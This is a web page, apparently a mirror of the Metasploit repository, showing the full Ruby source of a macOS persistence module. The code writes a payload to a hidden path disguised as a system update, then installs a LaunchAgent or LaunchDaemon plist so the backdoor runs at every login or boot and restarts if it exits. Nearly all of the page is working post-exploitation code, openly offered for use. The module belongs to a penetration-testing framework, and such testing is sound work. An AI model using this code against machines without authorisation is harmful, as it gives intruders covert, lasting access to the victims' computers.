Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/persistence.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Exploit::Local8Rank = ExcellentRanking910include Msf::Post::Common11include Msf::Post::File12include Msf::Exploit::EXE1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mac OS X Persistent Payload Installer',19'Description' => %q{20This module provides a persistent boot payload by creating a launch item, which can be21a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered22upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with23elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.24In either case the plist entry specifies an executable that will be run before or at login.25},26'License' => MSF_LICENSE,27'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],28'Targets' => [29[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],30[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],31['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],32[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],33[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],34],35'DefaultTarget' => 0,36'SessionTypes' => [ 'shell', 'meterpreter' ],37'DisclosureDate' => '2012-04-01',38'Platform' => [ 'osx', 'python', 'unix' ],39'References' => [40'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',41'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'42]43)44)4546register_options([47OptString.new('BACKDOOR_PATH',48[49true, 'Path to hide the backdoor on the target.',50'~/Library/.<random>/com.system.update'51]),52OptBool.new('KEEPALIVE',53[true, 'Continually restart the payload exe if it crashes/exits.', true]),54OptBool.new('RUN_NOW',55[false, 'Run the installed payload immediately.', false]),56OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])57])58end5960def exploit61check_for_duplicate_entry6263if target['Arch'] == ARCH_PYTHON64payload_bin = "#!/usr/bin/env python\n" + payload.encoded65elsif target['Arch'] == ARCH_CMD66payload_bin = "#!/usr/bin/env bash\n" + payload.raw67else68payload_bin = generate_payload_exe69end7071# Store backdoor on target machine72write_backdoor(payload_bin)73# Add plist file to LaunchAgents dir74add_launchctl_item75# tell the user how to remove the persistence if necessary76list_removal_paths77end7879private8081# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path82def add_launchctl_item83label = File.basename(backdoor_path)84cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")85# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive86item = <<-EOI87<?xml version="1.0" encoding="UTF-8"?>88<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">89<plist version="1.0">90<dict>91<key>Label</key>92<string>#{label}</string>93<key>Program</key>94<string>#{backdoor_path}</string>95<key>ProgramArguments</key>96<array>97<string>#{backdoor_path}</string>98</array>99<key>RunAtLoad</key>100<true/>101<key>OnDemand</key>102<#{keepalive?}/>103<key>KeepAlive</key>104<#{keepalive?}/>105</dict>106</plist>107EOI108109if write_file(plist_path, item)110print_good("LaunchAgent added: #{plist_path}")111else112fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")113end114115if run_now?116cmd_exec("launchctl load -w #{plist_path.shellescape}")117end118119print_good('LaunchAgent installed successfully.')120end121122# path to upload the backdoor. any <user> or <random> substrings will be replaced.123# @return [String] path to drop the backdoor payload.124def backdoor_path125@backdoor_path ||= datastore['BACKDOOR_PATH']126.gsub('<random>') { Rex::Text.rand_text_alpha(8) }127.gsub(%r{^~/}, "/Users/#{user}/")128end129130# raises an error if a Launch Agent already exists at desired same plist_path131def check_for_duplicate_entry132if file?(plist_path)133fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"134end135end136137# @return [Boolean] user wants the persistence to be restarted constantly if it exits138def keepalive?139datastore['KEEPALIVE']140end141142# useful if you want to remove the persistence.143# prints out a list of paths to remove and commands to run.144def list_removal_paths145removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"146removal_command << " ; rm #{plist_path}"147removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"148removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"149print_status("To remove the persistence, run:\n#{removal_command}\n")150end151152# path to the LaunchAgent service configuration plist153# @return [String] path to the LaunchAgent service154def plist_path155@plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"156end157158# @return [Boolean] user wants to launch the LaunchAgent immediately159def run_now?160datastore['RUN_NOW']161end162163# @return [String] username of the session164def user165@user ||= cmd_exec('whoami').strip166end167168# drops the file to disk, then makes it executable169# @param [String] exe the executable to drop170def write_backdoor(exe)171print_status('Dropping backdoor executable...')172cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")173174if write_file(backdoor_path, exe)175print_good("Backdoor stored to #{backdoor_path}")176cmd_exec("chmod +x #{backdoor_path.shellescape}")177else178fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")179end180end181end182183184